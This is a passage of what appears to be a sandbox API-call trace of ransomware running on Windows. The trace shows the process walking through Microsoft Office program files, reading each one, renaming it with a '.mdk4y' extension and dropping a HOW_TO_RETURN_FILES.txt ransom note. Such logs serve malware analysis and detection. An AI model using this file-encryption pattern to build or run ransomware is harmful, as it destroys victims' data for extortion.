Office\\Office14\\CONVERT\\OLMAIL.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.mdk4y")) returned 1 [0208.898] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.898] AreFileApisANSI () returned 1 [0208.898] GetACP () returned 0x4e4 [0208.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLNOTE.FAE", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OLNOTE.FAE", lpUsedDefaultChar=0x37df4c) returned 10 [0208.898] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828413000000) returned 1 [0208.900] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcb98, lpOverlapped=0x0) returned 1 [0208.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828413500000) returned 1 [0208.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828413500000) returned 1 [0208.905] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.mdk4y")) returned 1 [0208.907] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.907] AreFileApisANSI () returned 1 [0208.907] GetACP () returned 0x4e4 [0208.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLTASK.FAE", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OLTASK.FAE", lpUsedDefaultChar=0x37df4c) returned 10 [0208.907] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828414100000) returned 1 [0208.911] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c398, lpOverlapped=0x0) returned 1 [0208.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828417200000) returned 1 [0208.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828417200000) returned 1 [0208.944] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.mdk4y")) returned 1 [0208.946] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.946] AreFileApisANSI () returned 1 [0208.946] GetACP () returned 0x4e4 [0208.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORG97.SAM", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ORG97.SAME", lpUsedDefaultChar=0x37df4c) returned 9 [0208.946] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828419200000) returned 1 [0208.962] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc588, lpOverlapped=0x0) returned 1 [0208.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828422200000) returned 1 [0208.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828422200000) returned 1 [0208.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.mdk4y")) returned 1 [0208.995] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.995] AreFileApisANSI () returned 1 [0208.995] GetACP () returned 0x4e4 [0208.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PAB.SAM", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PAB.SAMAM", lpUsedDefaultChar=0x37df4c) returned 7 [0208.995] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828422800000) returned 1 [0208.998] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf978, lpOverlapped=0x0) returned 1 [0209.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828424000000) returned 1 [0209.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828424000000) returned 1 [0209.011] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.mdk4y")) returned 1 [0209.013] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0209.013] AreFileApisANSI () returned 1 [0209.013] GetACP () returned 0x4e4 [0209.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RM.DLL", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RM.DLLM", lpUsedDefaultChar=0x37df4c) returned 6 [0209.013] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0209.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828424400000) returned 1 [0209.014] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18568, lpOverlapped=0x0) returned 1 [0209.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828424600000) returned 1 [0209.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828424600000) returned 1 [0209.018] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll.mdk4y")) returned 1 [0209.019] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0209.019] AreFileApisANSI () returned 1 [0209.019] GetACP () returned 0x4e4 [0209.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TRANSMGR.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TRANSMGR.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0209.019] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0209.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828425000000) returned 1 [0209.020] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ff80, lpOverlapped=0x0) returned 1 [0209.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828427200000) returned 1 [0209.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828427200000) returned 1 [0209.044] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll.mdk4y")) returned 1 [0209.045] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0209.045] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0209.046] AreFileApisANSI () returned 1 [0209.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0209.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0209.047] GetFileType (hFile=0x12c) returned 0x1 [0209.048] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0209.048] AreFileApisANSI () returned 1 [0209.048] GetACP () returned 0x4e4 [0209.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CSS7DATA0009.DLL", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CSS7DATA0009.DLLl", lpUsedDefaultChar=0x37dfd8) returned 16 [0209.048] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0209.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828427900000) returned 1 [0209.049] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x911b0, lpOverlapped=0x0) returned 1 [0209.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828432400000) returned 1 [0209.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828432400000) returned 1 [0209.100] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll.mdk4y")) returned 1 [0209.110] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0209.111] AreFileApisANSI () returned 1 [0209.111] GetACP () returned 0x4e4 [0209.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CSS7DATA000A.DLL", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CSS7DATA000A.DLL", lpUsedDefaultChar=0x37dfd8) returned 16 [0209.111] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0209.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828434400000) returned 1 [0209.114] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xbb1b0, lpOverlapped=0x0) returned 1 [0209.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828472900000) returned 1 [0209.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828472900000) returned 1 [0209.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll.mdk4y")) returned 1 [0209.508] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0209.508] AreFileApisANSI () returned 1 [0209.508] GetACP () returned 0x4e4 [0209.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CSS7DATA000C.DLL", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CSS7DATA000C.DLL", lpUsedDefaultChar=0x37dfd8) returned 16 [0209.508] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0209.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828473900000) returned 1 [0209.509] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xbb1b0, lpOverlapped=0x0) returned 1 [0209.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828486400000) returned 1 [0209.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828486400000) returned 1 [0209.641] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll.mdk4y")) returned 1 [0209.642] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0209.642] AreFileApisANSI () returned 1 [0209.642] GetACP () returned 0x4e4 [0209.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Custom.propdesc", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Custom.propdescL", lpUsedDefaultChar=0x37dfd8) returned 15 [0209.642] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0209.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828487300000) returned 1 [0209.644] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x53f, lpOverlapped=0x0) returned 1 [0209.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828491600000) returned 1 [0209.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828491600000) returned 1 [0209.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.mdk4y")) returned 1 [0209.689] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0209.689] AreFileApisANSI () returned 1 [0209.689] GetACP () returned 0x4e4 [0209.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DATAGATH.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DATAGATH.DLLesc", lpUsedDefaultChar=0x37dfd8) returned 12 [0209.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0209.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828492100000) returned 1 [0209.691] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x91170, lpOverlapped=0x0) returned 1 [0209.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828504600000) returned 1 [0209.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828504600000) returned 1 [0209.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll.mdk4y")) returned 1 [0209.832] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0209.832] AreFileApisANSI () returned 1 [0209.832] GetACP () returned 0x4e4 [0209.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DBENGR.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DBENGR.DLLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0209.832] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0209.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828506300000) returned 1 [0209.833] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0209.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828509200000) returned 1 [0209.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828509200000) returned 1 [0209.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll.mdk4y")) returned 1 [0209.901] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0209.901] AreFileApisANSI () returned 1 [0209.901] GetACP () returned 0x4e4 [0209.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DBGHELP.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0209.901] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0209.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828513300000) returned 1 [0209.903] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0209.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828518100000) returned 1 [0209.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828518100000) returned 1 [0209.984] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll.mdk4y")) returned 1 [0209.986] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0209.986] AreFileApisANSI () returned 1 [0209.986] GetACP () returned 0x4e4 [0209.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DBSHARE.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DBSHARE.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0209.986] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0209.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828521800000) returned 1 [0209.988] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x183c8, lpOverlapped=0x0) returned 1 [0210.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828523200000) returned 1 [0210.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828523200000) returned 1 [0210.004] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll.mdk4y")) returned 1 [0210.006] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.006] AreFileApisANSI () returned 1 [0210.006] GetACP () returned 0x4e4 [0210.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DBWIZ.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, 